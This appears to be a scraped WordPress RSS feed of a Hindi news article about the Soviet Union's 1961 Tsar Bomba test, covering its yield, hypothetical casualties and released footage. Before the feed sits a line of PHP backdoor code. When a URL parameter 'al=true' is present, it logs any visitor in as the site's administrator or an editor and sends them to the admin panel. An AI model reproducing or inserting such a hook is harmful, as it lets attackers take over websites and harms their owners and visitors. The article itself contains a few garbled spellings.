// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); nuclear test – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 06 Sep 2024 09:07:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 दुनिया एक झटके में खत्म हो जाएगी, ये है अब तक का सबसे खतरनाक न्यूक्लियर टेस्ट https://pratyushaashakinayikiran.com/?p=66800 Fri, 06 Sep 2024 09:07:00 +0000 https://pratyushaashakinayikiran.com/?p=66800 मॉस्को

दुनिया में कई घटनाएं ऐसी रही हैं जिन्होंने न केवल उस समय को बल्कि आने वाले समय को भी बदल डाला. ऐसी ही एक घटना 1961 में सोवियत संघ द्वारा किए गए जा बांबा (Tsar Bomba) के परीक्षण से जुड़ी है. यह परीक्षण न केवल अपने समय का सबसे खतरनाक था, बल्कि इसका असर आज भी देखा जाता है. इसका विस्फोट 1000 किलोमीटर दूर से देखा गया था.

एक झटके में 60 लाख लोगों को खत्म करने की शक्ति

इस रूसी परमाणु बम की महशक्ति का अंदाजा इस बात से ही लगाया जा सकता है कि इसको लंदन जैसे शहर पर गिराने पर हर तरफ राख ही राख नजर आएगी. एक झटके में 60 लाख लोग खत्‍म हो जाएंगे. इस जार बांबा बम के धमाके के बाद हिरोशिमा और नागासाकी में गिराए गए परमाणु बमों की कुल क्षमता का 1570 गुना ज्‍यादा ऊर्जा पैदा होगी.

जॉर बांबा से 50 मेगाटन टीएनटी के बराबर विनाश होगा. रूस के इस धमाके को 63 साल का समय पूरा हो गया है और इसकी गूंज आज भी दुनिया में सुनी जा सकती है. वैश्विक स्‍तर पर हथियारों की रेस अब नए मुकाम पर पहुंच रही है. चीन ने अंतरिक्ष में चक्‍कर काटने वाली मिसाइल दागकर कोहराम मचा दिया है. ब्रिटिश इतिहासकार एलेक्‍स वेल्‍लेरस्‍टेन कहते हैं कि आज इस बम को लंदन शहर पर गिराया जाय तो लगभग 58 लाख लोगों की मौत हो जाएगी. इसका असर लंदन से 9 किमी दूरी तक भारी तबाही मचेगी. इसके विस्‍फोट से हर इमारत जमीदोज हो जाएगी और वहां मौजूद प्रत्‍येक व्‍यक्ति की मौत हो जाएगी. इसका हल्‍का असर लगभग 50 किमी दूर तक रहेगा. इस परमाणु बम की विनाशक क्षमता को देखते हुए लोग इसे धरती के खात्‍मे का हथियार कहते हैं.

6 दशक तक रखा टॉप सिक्रेट

इस महाविनाशक परमाणु बम को प्रोग्राम izdeliye 202 के तहत बनाया गया था. इस परमाणु बम को रूसी विमान ने आर्कटिक समुद्र में नोवाया जेमल्‍या के ऊपर बर्फ में गिराया था. बाद में जब इस परमाणु बम के बारे में पश्चिमी दुनिया को पता चला तो इसका नाम 'Tsar Bomba' कर दिया गया.

विशेषज्ञों के मुताबिक, रूस ने अपने परीक्षण के जरिए शानदार तकनीकी उपलब्धि हासिल की थी. इस महाविनाशक परमाणु बम का खौफ इतना ज्‍यादा था कि कैमरों को सैकड़ों मील की दूरी पर लगाया गया था. साथ ही उन्‍हें लो लाइट पोजिशन में रखा गया था ताकि वे परमाणु विस्‍फोट की चमक में 'अंधे' न हो जाएं. इन शक्तिशाली कैमरों ने लगभग 40 सेकंड तक आग के गोले का वीडियो बनाया और उसके बाद ये मशरूम के बादल के रूप में बदल गया. इस विस्‍फोट स्‍थल से 100 मील की दूरी पर स्थित एक विमान ने मशरूम के आकार के गुबार का वीडियो बनाया. ये लगभग 213,000 फुट की ऊंचाई तक पहुंचा था. इस विस्‍फोट के फुटेज को रूस ने लगभग 6 दशक तक टॉप सीक्रेट रखा था लेकिन अब रोस्‍तम के 75 साल पूरे होने पर उसे जारी किया था.

]]>